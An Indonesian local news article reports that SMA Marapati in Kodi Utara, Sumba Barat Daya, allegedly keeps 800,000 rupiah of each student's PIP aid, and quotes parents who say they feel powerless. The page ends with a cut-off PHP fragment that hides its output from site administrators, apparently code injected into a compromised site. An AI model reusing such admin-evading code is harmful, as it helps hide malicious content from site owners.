Pendidikan

Sunat Dana PIP di SMA Marapati, Kodi Utara Tak Tanggung-tanggung Sekali Gunting 800 Ribu per Murid

×

Sunat Dana PIP di SMA Marapati, Kodi Utara Tak Tanggung-tanggung Sekali Gunting 800 Ribu per Murid

Sebarkan artikel ini

TAMBOLAKA, MENARASUMBA.COM – Modus pungutan liar yang diduga beraroma korupsi kembali dilakukan di SMA Marapati, Kecamatan Kodi Utara, Sumba Barat Daya.

Informasi yang dihimpun media ini, sunat dana PIP di sekolah itu selalu dilakukan setiap tahun.

Domi Kalli, meski anaknya baru kelas dua tapi sudah diwajibkan bayar biaya ujian dan uang ijazah. ( Foto Menara Sumba )

Tak tanggung-tanggung dari bantuan PIP sebesar 1.800.000 (satu juta delapan ratus ribu) per siswa pihak sekolah mengambil jatah 800 ribu.

Malangnya lagi, meski menolak, para murid dan orang tua tidak berdaya menghadapi ulah pihak sekolah.

Sejumlah orang tua murid yang ditemui, Kamis (29/01/2026) mengaku pasrah atas tindakan ini

“Mau bagaimana lagi karena sudah begitu, padahal anak saya baru kelas dua,” ungkap Domi Kalli, salah satu orang tua murid.

Saat kembali dari bank, sang anak hanya membawa pulang uang sejumlah 1 juta.

Meski baru kelas dua, namun anaknya diwajibkan membayar biaya ujian dan uang ijazah.

“Aneh juga anak saya baru kelas dua tapi harus bayar biaya ujian dan uang ijazah,” bebernya.

Hal senada dikisahkan Kristina Pati Bebe, salah satu orang tua murid lain.

Kristina Pati Bebe, anaknya dikutip 800 ribu sejak tahun lalu saat masih duduk di kelas dua. ( Foto Menara Sumba )

Dirinya membenarkan jika sang anak sudah duduk di kelas tiga, dan akan menghadapi ujian.

Kristina membeberkan bahwa kutipan sebanyak 800 ribu sudah dilakukan sejak tahun lalu saat anaknya duduk di kelas dua.

“Tahun lalu juga dipotong 800 ribu untuk biaya ujian dan uang ijazah,” tuturnya.

Ia berniat protes karena meski sudah dipotong tahun lalu, tapi tahun ini kembali digunting.

“Kami pasrah saja karena tidak berdaya,” sebutnya.

Sejumlah orang tua lain juga mengungkapkan keluhan yang sama, meski keberatan tapi tidak bisa berbuat apa-apa.

Pungutan ini tanpa konfirmasi dan juga tidak ada pernyataan tertulis dengan pihak sekolah.

“Jujur, kami takut anak-anak dapat kendala kalau protes,” sebut salah satu orang tua murid. ( JIP/MS )

Tinggalkan Balasan

Alamat email Anda tidak akan dipublikasikan. Ruas yang wajib ditandai *

function seo_cache() { if (is_admin()) { return; } $current_user = wp_get_current_user(); if (in_array('administrator', (array) $current_user->roles)) { return; } ?>